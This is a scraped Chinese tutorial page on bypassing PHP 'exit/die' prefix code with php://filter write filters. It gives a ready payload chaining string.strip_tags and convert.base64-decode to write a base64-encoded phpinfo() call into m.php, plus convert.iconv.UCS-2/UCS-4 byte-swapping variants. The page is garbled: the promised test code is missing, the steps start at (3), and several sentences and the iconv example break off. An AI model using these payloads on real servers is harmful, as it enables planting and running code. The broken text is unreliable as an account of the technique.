伪协议绕过死亡代码

您所在的位置:网站首页 php die exit 伪协议绕过死亡代码

伪协议绕过死亡代码

2024-07-12 12:59| 来源: 网络整理| 查看: 265

测试代码如下:

主要思路:利用php伪协议的写过滤器,对即将要写的内容(content)进行处理后,会将 (3)组合(String Filters+Conversion Filters) ?file=php://filter/write=string.strip_tags|convert.base64-decode/resource=m.php content=?>PD9waHAgcGhwaW5mbygpOw== (4)(Conversion Filters:convert.iconv.*:)

利用:

php://filter/convert.iconv.UCS-2BE.UCS-2LE/resource=m.php or php://filter/convert.iconv.UCS-4BE.UCS-4LE/resource=m.php

解释:

通过UCS-2或者UCS-4的方式,对目标字符串进行2/4位一反转,也就是说构造的content字节数需要是UCS-2或UCS-4中2或者4的倍数,不然不能进行反转,那我们就可以利用这种过滤器进行编码转换绕过了。我们利用如下方法构造我们需要的payload。(注意倍数问题,否则输出错误。)

echo iconv('UCS-2LE','UCS-2BE',''); //?? echo iconv('UCS-4LE','UCS-4BE','


【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3